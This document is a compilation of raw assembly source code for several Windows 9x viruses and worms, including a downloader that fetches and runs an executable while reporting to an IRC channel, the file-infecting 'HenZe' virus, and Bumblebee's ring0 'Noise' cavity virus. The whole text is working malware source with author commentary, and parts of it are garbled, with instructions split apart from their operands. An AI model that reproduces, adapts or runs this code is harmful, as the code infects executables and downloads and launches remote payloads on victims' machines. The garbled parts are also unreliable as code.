lea eax, [ebp + mywsadata] push eax push 101h lea eax, [ebp + AWSAStartup] call GETWAPI InstallerOpenSocket: push 00h push 01h push 02h lea eax, [ebp + Asocket] call GETWAPI mov [ebp + isocketh], eax InstallerGetSocketValues: mov [ebp + mysocket2.sin_family], 02h push 80 lea eax, [ebp + Ahtons] call GETWAPI mov [ebp + mysocket2.sin_port], ax lea eax, [ebp + installer_server] push eax lea eax, [ebp + Ainet_addr] call GETWAPI mov [ebp + mysocket2.sin_addr], eax xor ecx, ecx InstallerConnect: cmp ecx, 03h je InstallerConnectionError push ecx push 10h lea eax, [ebp + mysocket2] push eax push [ebp + isocketh] lea eax, [ebp + Aconnect] call GETWAPI pop ecx or eax, eax jz InstallerSendGetCommand inc ecx jmp InstallerConnect InstallerConnectionError: mov [ebp + installer_launchstatus], 03h jmp ExitInstaller InstallerSendGetCommand: push 00h push [ebp + installer_getsize] lea eax, [ebp + installer_get] push eax push [ebp + isocketh] lea eax, [ebp + ASend] call GETWAPI push 00h push 02h lea eax, [ebp + crlf] push eax

push [ebp + isocketh] lea eax, [ebp + ASend] call GETWAPI push 00h push 02h lea eax, [ebp + crlf] push eax push [ebp + isocketh] lea eax, [ebp + ASend] call GETWAPI mov [ebp + installer_launchstatus], 01h mov [ebp + nrbytes2], 00h mov ecx, 1000000h ReceiveLoop: cmp ecx, 400h jna LastPart sub ecx, 400h mov edi, 400h call INSTALLER_RECEIVE jmp ReceiveLoop LastPart: mov edi, ecx call INSTALLER_RECEIVE SearchMz: xor ecx, ecx mov edi, dword ptr [ebp + dmHnd] MzLoop: cmp word ptr [edi], 'ZM' je FoundExeMark inc edi inc ecx cmp ecx, 200h ja SearchZm jmp MzLoop SearchZm: xor ecx, ecx mov edi, dword ptr [ebp + dmHnd] ZmLoop: cmp word ptr [edi], 'MZ' je FoundExeMark inc edi inc ecx cmp ecx, 200h ja InstallerCloseSocket jmp ZmLoop FoundExeMark: mov [ebp + skip], ecx ZeroWindirString: mov ecx, 100h xor eax, eax lea edi, [ebp + windir]

rep stosb InstallerGetSetWindowsDirectory: call GET_WINDIR call SET_WINDIR push 00h push 20h push 02h push 00h push 01h push 80000000h or 40000000h lea eax, [ebp + commandline] push eax lea eax, [ebp + ACreateFile] call GETAPI mov [ebp + ifilehandle], eax push 02h push 00h push 00h push eax lea eax, [ebp + ASetFilePointer] call GETAPI mov add mov sub edi, edi, ebx, ebx, dword ptr [ebp + dmHnd] [ebp + skip] [ebp + nrbytes2] [ebp + skip]

push 00h lea edx, [ebp + bytesread] push edx push ebx push edi push [ebp + ifilehandle] lea eax, [ebp + AWriteFile] call GETAPI InstallerGetRealSize: lea ebx, [ebp + irealsize] push ebx push [ebp + ifilehandle] lea eax, [ebp + AGetFileSize] call GETAPI mov [ebp + irealsize], eax InstallerCloseFile: push [ebp + ifilehandle] lea eax, [ebp + ACloseHandle] call GETAPI GetFileSize: mov edi, dword ptr [ebp + dmHnd] xor ecx, ecx InstallerFileSizeLoop: cmp dword ptr [edi], ':htg' je InstallerFoundSize inc ecx inc edi cmp ecx, 200h je InstallerCloseSocket

jmp InstallerFileSizeLoop InstallerFoundSize: xor ecx, ecx add edi, 05h mov [ebp + sizestart], edi ExtractFileSizeLoop: cmp word ptr [edi], 0a0dh je FoundEndOfSizeString inc edi inc ecx cmp ecx, 10h je InstallerCloseSocket jmp ExtractFileSizeLoop FoundEndOfSizeString: cld mov [ebp + sizesize], ecx mov [ebp + ifilesize], 00h mov ebx, 01h mov esi, [ebp + sizestart] add esi, ecx sub esi, 01h Convert2Int: xor eax, eax lodsb sub eax,'0' mul ebx add [ebp + ifilesize], eax add edx, eax dec esi dec esi dec ecx cmp ecx, 00h je InstallerCheckFileSize push ecx push esi mov ecx, 10d mov eax, ebx mul ecx mov ebx, eax pop esi pop ecx jmp Convert2Int InstallerCheckFileSize: mov esi, [ebp + ifilesize] mov edi, [ebp + irealsize] cmp esi, edi je ExecuteFile mov [ebp + installer_launchstatus], 04h jmp InstallerCloseSocket ExecuteFile: lea eax, [ebp + lpProcessInformation] push eax lea eax, [ebp + lpStartupInfo] push eax push 00h push 00h push CREATE_DEFAULT_ERROR_MODE

push FALSE lea eax, [ebp + lpThreadAttributes] push eax lea eax, [ebp + lpProcessAttributes] push eax lea eax, [ebp + commandline] push eax push 00h lea eax, [ebp + ACreateProcess] call GETAPI mov [ebp + installer_launchstatus], 02h InstallerCloseSocket: push [ebp + isocketh] lea eax, [ebp + Aclosesocket] call GETWAPI lea eax, [ebp + AWSACleanup] call GETWAPI ExitInstaller: popad ret INSTALLER_THREAD endp FALSE = TRUE 0 = 1

lpProcessInformation PROCESS_INFORMATION <> lpStartupInfo STARTUPINFO <> lpThreadAttributes SECURITY_ATTRIBUTES <> lpProcessAttributes SECURITY_ATTRIBUTES <> mysocket2 SOCKADDR <> AWriteFile ACreateProcess AGlobalAlloc db "WriteFile",0 db "CreateProcessA",0 db "GlobalAlloc",0

commandline windir skip sizestart sizesize bytesread nrbytes2 dmHnd ifilehandle ifilesize irealsize isocketh installerthreadid

db "sock32.exe",0 db dd dd dd dd dd 100h dup(0) 0 0 0 0 0 dd 0 dd dd dd dd 0 0 0 0 dd 0 db 20h dup(0) db 100h dup(0) dd 0 dd 0 dd 0 db "PRIVMSG #sntnl :Waiting...",0dh,0ah

installer_server installer_get installer_serversize installer_getsize installer_launchstatus installer_stat00

installer_stat01 installer_stat02 installer_stat03 installer_stat04 GET_WINDIR proc

db db db db

"PRIVMSG "PRIVMSG "PRIVMSG "PRIVMSG

#sntnl #sntnl #sntnl #sntnl

:Installing...",0dh,0ah :Done...",0dh,0ah :Unable to connect...",0dh,0ah :Size error...",0dh,0ah

GetWindowsDir: push 128h ; size of dirstring lea eax, [ebp + windir] ; save it here push eax lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir call GETAPI ret GET_WINDIR endp SET_WINDIR proc SetWindowsDir: lea eax, [ebp + windir] ; change to sysdir push eax lea eax, [ebp + ASetCurrentDirectory] call GETAPI ret SET_WINDIR endp ;========================================================================; Leap: .code OriginalHost: pop ebx push 00h call ExitProcess end FirstCopy end ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ GMEM_FIXED = 0000h

LPVOID BOOL HANDLE LPSTR LPBYTE ACHAR CHAR CHAR_

typedef typedef typedef typedef typedef typedef textequ equ 1

DWORD ;long ptr to buffer DWORD ;boolean variable DWORD ;unspecified handle DWORD ;long ptr to string DWORD ;long ptr to byte BYTE ;ansi character <ACHAR> ;ansi char type ;ansi char size equ 04000000h

CREATE_DEFAULT_ERROR_MODE

SECURITY_ATTRIBUTES_ equ 4+4+4 SECURITY_ATTRIBUTES struct sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size sa_lpSecurityDescriptor LPVOID 0 ;security descriptor sa_bInheritHandle BOOL 0 ;handle inheritance flag

SECURITY_ATTRIBUTES ends PROCESS_INFORMATION struct pi_hProcess HANDLE 0 pi_hThread HANDLE 0 pi_dwProcessId DWORD pi_dwThreadId DWORD PROCESS_INFORMATION ends PROCESS_INFORMATION_ equ

;process handle ;thread handle 0 ;process id 0 ;thread id 4+4+4+4

STARTUPINFO struct si_cb DWORD 0 ;structure size si_lpReserved LPSTR 0 ;(reserved) si_lpDesktop LPSTR 0 ;desktop name sl_lpTitle LPSTR 0 ;console window title si_dwX DWORD 0 ;window origin (column) si_dwY DWORD 0 ;window origin (row) si_dwXSize DWORD 0 ;window width si_dwYSize DWORD 0 ;window height si_dwXCountChars DWORD 0 ;screen buffer width si_dwYCountChars DWORD 0 ;screen buffer height si_dwFillAttribute DWORD 0 ;console window initialization si_dwFlags DWORD 0 ;structure member flags si_wShowWindow WORD 0 ;ShowWindow() parameter si_cbReserved2 WORD 0 ;(reserved) si_lpReserved2 LPBYTE 0 ;(reserved) si_hStdInput HANDLE 0 ;standard input handle si_hStdOutput HANDLE 0 ;standard output handle si_hStdError HANDLE 0 ;standard error handle STARTUPINFO ends STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4

WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_) WIN32_FIND_DATA struct fd_dwFileAttributes DWORD 0 ;file attributes fd_ftCreationTime DWORD 0, 0 ;time of file creation fd_ftLastAccessTime DWORD 0, 0 ;time of last file access fd_ftLastWriteTime DWORD 0, 0 ;time of last write access fd_nFileSizeHigh DWORD 0 ;high-order word of file size fd_nFileSizeLow DWORD 0 ;low-order word of file size fd_dwReserved0 DWORD 0 ;(reserved) fd_dwReserved1 DWORD 0 ;(reserved) fd_cFileName CHAR 260 dup(0) ;matching file name fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name WIN32_FIND_DATA ends ;

SEH struct m_pSEH DWORD 0 m_pExcFunction DWORD 0 SEH ends ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ ; ; WSocks.inc: include file for windows sockets . ; Designed for TASM5 and Win32. ; ; (C) 1999 Bumblebee. ; ; This file contains basic structures and stuff to work ; with windows sockets.

; ; Descriptions of the API: ; arguments in order of PUSH ;) ; only for debug extrn WSAGetLastError:PROC ; starts the use of winsock dll ; addr WSADATA, version requested ; returns: 0 ok extrn WSAStartup:PROC ; terminates the use of winsock dll ; returns: SOCK_ERR on error extrn WSACleanup:PROC ; opens a new socket ; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??) ; returns: socket id or SOCKET_ERR (socket is dw) extrn socket:PROC ; closes a socket ; socket descriptor ; extrn closesocket:PROC ; sends data (this socks are a shit... Unix uses simple write) ; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket ; returns: caracters sent or SOCKET_ERR on error extrn send:PROC ; reveives data (this socks are a shit... Unix uses simple read) ; flags (use 0), length, addr of buffer, socket ; returns: caracters sent or SOCKET_ERR on error extrn recv:PROC ; connects to a server ; sizeof struct SOCKADDR, struct SOCKADDR, socket ; returns: SOCKET_ERR on error extrn connect:PROC ; gets the name of the current host ; length of the buffer for name, addr of buffer for name ; return: SOCKET_ERR on error extrn gethostname:PROC ; gets strcut hostent ; addr of name ; returns: ponter to the struct or 0 on error extrn gethostbyname:PROC ; converts a zstring like "xxx.xxx.xx...." to netw byte order ; zstring ptr to change to dotted addr format ; returns: in_addr (dd) extrn inet_addr:PROC ; dw to convert into netw byte order (usually the port) ; returns: the value in network byte order (dw) extrn htons:PROC ; Structs :o

; sockaddr struct for connection ; modified (for better use) ; if you want the original look for it into a winsock.h SOCKADDR struct sin_family dw 0 ; ex. AF_INET sin_port dw 0 ; use htons for this sin_addr dd 0 ; here goes server node (from inet_addr) sin_zero db 8 dup(0) SOCKADDR ends ; for WSAStartup diagnose WSADATA struct mVersion dw 0 mHighVersion dw 0 szDescription db 257 dup(0) szSystemStatus db 129 dup(0) iMaxSockets dw 0 iMaxUpdDg dw 0 lpVendorInfo dd 0 WSADATA ends ; Some nice equs ; what version of winsock do you need? (usually 1.1) VERSION1_0 equ 0100h VERSION1_1 equ 0101h VERSION2_0 equ 0200h AF_UNIX AF_INET AF_IMPLINK AF_NETBIOS equ 1 ; local host equ 2 ; internet (most used) equ 3 ; arpanet equ 17 ; NetBios style addresses

; types of sockets SOCK_STREAM equ SOCK_DGRAM equ ; protocol PCL_NONE SOCKET_ERR

1 2

; stream (connection oriented; telnet like) ; datagram (packets, packets, packets)

equ equ

0 -1

; none (define the protocol not needed) ; standard winsock error

HOSTENT_IP equ 10h ; where is the IP into the hostent struct ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ

;---------------------------- W95 HenZe BY HenKy ----------------------------; ;-AUTHOR: HenKy ; ;-MAIL: HenKy_@latinmail.com ; ;-ORIGIN: SPAIN ;

.586P .MODEL FLAT LOCALS

EXTRN KERNEL95 MIX_SIZ MIX_MEM NABLA MARKA FLAGZ MAX_PATH MACROSIZE

ExitProcess:PROC EQU EQU EQU EQU EQU EQU EQU 0BFF70000h FILE_END-MEGAMIX MEM_END-MEGAMIX DELTA-MEGAMIX 66 00000020H OR 20000000H OR 80000000H 260

MACRO DB DB DB DB ENDM MIX_SIZ/01000 MIX_SIZ/00100 MIX_SIZ/00010 MIX_SIZ/00001 mod mod mod mod 10 10 10 10 + + + + "0" "0" "0" "0"

; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER ; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION) ; ; ; ; ; ; MOV \ CALL \ JNZ \ ADD / SUB / CMP /

ONLY SIX OPCODES WERE USED.. xDDD

; AND NO INDEXING MODE (EASY DISASM CODE) ;MOV EAX,[EBP+5] ;TURNS INTO: ; ADD EBP,5 ; MOV EAX,[EBP] ;AND SO... ; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND ; .DATA copyrisgt DB 'HenZe ' SEVERAL META TIPS

MACROSIZE .CODE ; BIZARRE VIRUS BEGINS... MEGAMIX:

MOV MILO EQU DELTA: MOV WINES: MOV MOV CMP JNZ MOV MOV BUSCA3: ADD CMP JNZ APIZ: MOV ADD SUB MOV MOV ADD SUB MOV ADD SUB GPI: SUB MOV SUB MOV MOV ADD SUB CALL MOV ADD

EAX, 401005H $-4 EBP,EAX EAX,KERNEL95 CL,'M' BYTE PTR [EAX],CL WARNING EBX,EAX EDX,02b226A57h ; GPA SIGNATURE FOR W9X

EAX,1 DWORD PTR [EAX],EDX SHORT BUSCA3

ECX,OFFSET GPA ECX,EBP ECX,OFFSET DELTA [ECX],EAX ESI, OFFSET APIs ESI,EBP ESI,OFFSET DELTA EDI,OFFSET APIaddresses EDI,EBP EDI,OFFSET DELTA ESP,4 [ESP],ESI ESP,4 [ESP],EBX ECX,OFFSET GPA ECX,EBP ECX,OFFSET DELTA [ECX] [EDI],EAX EDI,4

NPI: MOV ADD CMP JNZ CMP JNZ AL,BYTE PTR [ESI] ESI,1 AL,0 SHORT NPI [ESI], AL GPI

INFECT:

MOV ADD SUB SUB MOV MOV ADD SUB SUB MOV MOV ADD SUB CALL MOV ADD SUB MOV

EAX, OFFSET Win32FindData EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX,OFFSET IMASK EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX,OFFSET FindFirstFile EAX,EBP EAX,OFFSET DELTA [EAX] EBX, OFFSET SearcHandle EBX,EBP EBX,OFFSET DELTA [EBX],EAX

LOOPER: CMP JNZ EAX,-1 SUPPER

WARNING: MOV ORG OLD_EIP DD ADD CALL SUPPER: CMP JNZ PILLE: CMP JNZ ALLKEY: SUB MOV ADD SUB MOV MOV SUB MOV SUB MOV SUB MOV SUB MOV SUB MOV SUB MOV MOV ESP,4 EAX,OFFSET OLD_EIP EAX,EBP EAX,OFFSET DELTA EBX,[EAX] [ESP],EBX ESP,4 [ESP],EDX ESP,4 [ESP],00000080h ESP,4 [ESP],3 ESP,4 [ESP],EDX ESP,4 [ESP],EDX ESP,4 [ESP],0C0000000h EAX ,offset FNAME ; OPEN IT! ESP,0 ; ESP NEVER IS ZERO WARNING EAX,0 ALLKEY EAX,12345678H $-4 00401000H ESP,4 EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE

ADD SUB SUB MOV MOV ADD SUB CALL MOV ADD SUB MOV MOV ADD SUB MOV MOV SUB MOV SUB MOV SUB MOV SUB MOV SUB MOV SUB MOV ADD SUB MOV MOV MOV ADD SUB CALL MOV ADD SUB MOV MOV ADD SUB MOV MOV SUB MOV SUB MOV SUB MOV ADD SUB MOV SUB MOV

EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX, OFFSET CreateFile EAX,EBP EAX,OFFSET DELTA [EAX] EBX,OFFSET FileHandle EBX,EBP EBX, OFFSET DELTA [EBX],EAX ; SAVE HNDL EBX,OFFSET WFD_nFileSizeLow EBX,EBP EBX, OFFSET DELTA ECX, [EBX] EDX,0 ESP,4 [ESP],EDX ESP,4 [ESP],ECX ESP,4 [ESP],EDX ESP,4 [ESP],4H ESP,4 [ESP],EDX ESP,4 EBX,OFFSET FileHandle EBX,EBP EBX,OFFSET DELTA ECX,[EBX] [ESP],ECX EAX, OFFSET CreateFileMappingA EAX,EBP EAX,OFFSET DELTA [EAX] EBX,OFFSET MapHandle EBX,EBP EBX, OFFSET DELTA [EBX],EAX EBX,OFFSET WFD_nFileSizeLow EBX,EBP EBX, OFFSET DELTA ECX, [EBX] EDX,0 ESP,4 [ESP],ECX ESP,4 [ESP],EDX ESP,4 [ESP],EDX EDX,2 ESP,4 [ESP],EDX ESP,4 ECX, OFFSET MapHandle

ADD SUB MOV MOV MOV ADD SUB CALL MOV ADD SUB MOV MOV MOV ADD MOV ADD CMP JNZ ADD CMP JNZ CMP JNZ Cerrar1: SUB MOV ADD MOV MOV ADD CMP JNZ SUB MOV MOV MOV ADD MOV ADD MOV ADD ADD ADD ADD ADD ADD WRI: MOV ADD SUB CMP JNZ MOV ADD MOV ADD MOV

ECX,EBP ECX,OFFSET DELTA EBX,[ECX] [ESP],EBX EBX, OFFSET MapViewOfFile EBX,EBP EBX,OFFSET DELTA [EBX] EBX,OFFSET MapAddress EBX,EBP EBX,OFFSET DELTA [EBX],EAX ESI,EAX ; GET PE HDR EDX,EAX EAX,3CH ESI,[EAX] ESI,EDX BYTE PTR [ESI],"P" ; IS A 'P'E ? Cerrar ESI,MARKA BYTE PTR [ESI],"H" ; HenKy IS HERE ? Cerrar1 ESP,0 Cerrar

ESI,MARKA EBX,ESI EBX,3CH EAX,[EBX] ; ONLY SOME W98 ECX,ESI ECX,56 EAX,[ECX] Cerrar ESP,4 [ESP],ESI ECX,0 EDI,ESI EDI,6 CL,BYTE PTR [EDI] EDI,74H-6 EBX,[EDI] EBX,EBX EBX,EBX EBX,EBX ESI,78H ESI,EBX ESI,24H DWORD PTR [ESI], 0C0000040h ESI,40 ECX,1 ECX,0 WRI ESI,[ESP] ESP,4 EDI,ESI ESI,28H EAX,[ESI]

HAVE 1000H/1000H INSTEAD 1000H/200H

ADD ADD MOV MOV ADD SUB MOV MOV ADD SUB MOV MOV ADD MOV MOV ADD SUB MOV MOV BU: CMP JNZ CMP JNZ PE: ADD SUB CMP JNZ CMP JNZ PO: MOV ADD CMP JNZ SUB MOV MOV ADD SUB SUB ADD MOV MOV ADD SUB ADD ADD MOV ADD SUB MOV MOV ADD MOV ADD SUB MOV

ESI,34H-28H EAX,[ESI] ECX,[ESI] EDX,OFFSET BASE EDX,EBP EDX,OFFSET DELTA [EDX],ECX EBX,OFFSET OLD_EIP EBX,EBP EBX,OFFSET DELTA [EBX],EAX ESI,EDI ESI,MARKA BYTE PTR [ESI],"H" ; HenKy! EAX,OFFSET WFD_nFileSizeLow EAX,EBP EAX,OFFSET DELTA ECX,[EAX] EAX,EDI DWORD PTR [EDI], 'XGNI' PE ESP,0 PO

EDI,1 ECX,1 ECX,0 BU ESP,0 Cerrar

ESI,EDI ESI,4 DWORD PTR [ESI], 'DAPX' PE ESP,4 [ESP],EDI EBX,OFFSET MapAddress EBX,EBP EBX,OFFSET DELTA EDI,[EBX] EAX,28H [EAX],EDI EBX,OFFSET BASE EBX,EBP EBX,OFFSET DELTA EDI,[EBX] EDI,5 EDX,OFFSET MILO EDX,EBP EDX,OFFSET DELTA [EDX],EDI EDI,[ESP] ESP,4 ESI,OFFSET MEGAMIX ESI,EBP ESI,OFFSET DELTA ECX,MIX_SIZ/4

BASTARDO_VIRUS: MOV MOV ADD ADD SUB CMP JNZ UnMapFile: MOV ADD SUB SUB MOV MOV ADD SUB CALL CloseMap: MOV ADD SUB SUB MOV MOV ADD SUB CALL EAX, OFFSET MapHandle EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX, OFFSET CloseHandle EAX,EBP EAX,OFFSET DELTA [EAX] EAX, OFFSET MapAddress EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX, OFFSET UnmapViewOfFile EAX,EBP EAX,OFFSET DELTA [EAX] EAX,[ESI] [EDI],EAX ESI,4 EDI,4 ECX,1 ECX,0 BASTARDO_VIRUS

Cerrar: MOV ADD SUB MOV MOV ADD MOV ADD SUB SUB MOV MOV ADD SUB CALL EAX,OFFSET OLD_EIP EAX,EBP EAX,OFFSET DELTA EBX,[ESP] [EAX],EBX ESP,4 EAX, OFFSET FileHandle EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX, OFFSET CloseHandle EAX,EBP EAX,OFFSET DELTA [EAX]

TOPO:

MOV ADD SUB SUB

EAX, offset Win32FindData EAX,EBP EAX,OFFSET DELTA ESP,4

MOV MOV ADD SUB SUB MOV MOV ADD SUB CALL CMP JNZ

[ESP],EAX EAX, OFFSET SearcHandle EAX,EBP EAX,OFFSET DELTA ESP,4 [ESP],EAX EAX, OFFSET FindNextFile EAX,EBP EAX,OFFSET DELTA [EAX] ESP,0 LOOPER

APIs: DB DB DB DB DB DB DB DB DD DB DB "CreateFileA",0 "CloseHandle",0 "FindFirstFileA",0 "FindNextFileA",0 "MapViewOfFile",0 "UnmapViewOfFile",0 "CreateFileMappingA",0 0 0 '*.ExE',0 'HenZe LameVirus BY HenKy',0

Zero_ BASE IMASK

align 4 FILE_END APIaddresses: CreateFile CloseHandle FindFirstFile FindNextFile MapViewOfFile UnmapViewOfFile CreateFileMappingA GPA SearcHandle FileHandle MapHandle MapAddress FILETIME FT_dwLowDateTime FT_dwHighDateTime FILETIME Win32FindData: WFD_dwFileAttributes WFD_ftCreationTime WFD_ftLastAccessTime WFD_ftLastWriteTime WFD_nFileSizeHigh WFD_nFileSizeLow DD ? FILETIME ? FILETIME ? FILETIME ? DD ? DD ? DD DD DD DD DD DD DD DD DD DD DD DD 0 0 0 0 0 0 0 0 0 0 0 0 STRUC DD DD ENDS ? ? LABEL BYTE

WFD_dwReserved0 WFD_dwReserved1 FNAME

DD DD DD DD DD DD DD DD

? ? 0 0 0 0 0 0

align 4

MEM_END EXITPROC:

LABEL BYTE

PUSH 0 CALL ExitProcess ENDS END MEGAMIX

; ; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; Noise ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; . I started to code an i-worm and i wanted to make something like a ; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh ; The name is due the little payload it has... that does realy noise! ; That's my first ring0 virus. I don't like codin ring0, but here it is. ; That's a research spezimen. Don't expect the ultimate ring0 virus... ; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim). ; ; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ ; . This is the source code of a VIRUS. The author is not responsabile ; of any damage that may occur due to the assembly of this file. Use ; it at your own risk. ; ; ÚÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÙ ; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is ; only for win9x, not nt not w2k). ; . It infect in similar way like MiniR3 does. Uses free space in the ; PE header. That's a cavity virus. ; . All the data is INSIDE the code. Well... copyright is not inside :) ; . It infects PE files in the user buffer when a write call is done. ; That makes this virus not very efficient spreading. ; . It has a kewl sound payload. Makes echo with internal speaker for ; all disk operations ;) ; ; Greetz to Perikles for his tests ;) You're my best tester, you know... ; ; ; The way of the bee ; .486p locals .model flat,STDCALL extrn VxDCall macro db dw dw endm IFSMANAGER GETHEAP IFSAPIHOOK VSIZE VSIZEROUND .DATA ExitProcess:PROC vxd,service 0cdh,20h service vxd

equ equ equ equ equ

40h 0dh 67h vEnd-vBegin ((VSIZE/1024)+1)*1024

; dummy data db 'WARNING - This is a virus carrier - WARNING' .CODE inicio: mov vBegin label pushad mov sub mov cmp jne sidt mov add push mov shl mov push call @deltaoffset: cpright db @delta: pop sub mov shr mov int pop pop mov shr mov NotWin9x: add popad push equ ret eax,VSIZE byte al,byte ptr [esp+23h] esp,8 ebp,esp al,0bfh NotWin9x qword ptr [ebp] esi,dword ptr [ebp+2] esi,3*8 esi di,word ptr [esi+6] edi,10h di,word ptr [esi] edi @delta 'Bbbee/29a@Noise' eax eax,(offset @deltaoffset-offset ring0CodeInstaller) word ptr [esi],ax eax,10h word ptr [esi+6],ax 3h edi esi word ptr [esi],di edi,10h word ptr [esi+6],di

esp,8

hostEP

offset fakeHost $-4

ring0CodeInstaller: pushad mov sub jz push VxDCall pop or jz mov ebp,0bff70000h ebp,dword ptr [ebp] ReturnR3 VSIZEROUND IFSMANAGER,GETHEAP edi eax,eax ReturnR3 edi,eax

call @@delta: pop sub mov rep mov push add push VxDCall pop pop mov mov mov ReturnR3: popad iretd ring0Hook: pop push mov delta equ mov push mov pushad pushfd mov counter equ dec jz mov dec jz exitHook: popfd popad pop pop

@@delta esi esi,(offset @@delta-offset vBegin) ecx,VSIZE movsb dword ptr [delta-vBegin+eax],eax eax eax,offset ring0Hook-offset vBegin eax IFSMANAGER,IFSAPIHOOK ebp edx dword ptr [edx+nextHookInChain-vBegin],eax ebp,0bff70000h dword ptr [ebp],ebp

eax ebp ebp,12345678h $-4 dword ptr [returnAddr-vBegin+ebp],eax edx edx,esp

ecx,0ffh $-4 cl beep ecx,dword ptr [edx+0ch] ecx checkFile

edx ebp

mov eax,12345678h nextHookInChain equ $-4 call dword ptr [eax] push returnAddr ret checkFile: mov mov 12345678h equ $-4

esi,dword ptr [edx+1ch] cx,word ptr [esi]

cmp jb mov mov cmp jne cmp jb add cmp jne mov test jz and jnz mov dec jz mov mov add add movzx mov mul add mov xor pushad rep popad jnz add push sub xchg mov add mov pop mov rep dec jmp beep: dec in push or out

ecx,VSIZEROUND exitHook edi,dword ptr [esi+14h] ebx,edi word ptr [edi],'ZM' exitHook ecx,dword ptr [edi+3ch] exitHook edi,dword ptr [edi+3ch] word ptr [edi],'EP' exitHook edx,dword ptr [edi+16h] edx,2h exitHook edx,2000h exitHook dx,word ptr [edi+5ch] edx exitHook esi,edi eax,18h ax,word ptr [edi+14h] edi,eax ecx,word ptr [esi+06h] ax,28h cx edi,eax ecx,VSIZE eax,eax scasb exitHook dword ptr [esi+54h],ecx edi edi,ebx edi,dword ptr [esi+28h] eax,dword ptr [esi+34h] edi,eax dword ptr [hostEP-vBegin+ebp],edi edi esi,ebp movsb byte ptr [counter-vBegin+ebp] exitHook

cl al,61h ax al,03h 61h,al

mov out mov mov beep_loop: add mov out xchg out loop pop out jmp vEnd label

al,0b6h 43h,al ax,987 si,ax si,100h ax,si 42h,al al,ah 42h,al beep_loop ax 61h,al exitHook byte

fakeHost: push call Ends End inicio

0h ExitProcess

;---------------------------- W95 ESPORE BY HenKy ----------------------------; ;-AUTHOR: HenKy ; ;-MAIL: HenKy_@latinmail.com ; ;-ORIGIN: SPAIN ; ; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)

; OF COURSE MIDFILE AND NO GROWING CAVITY TECH ; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)

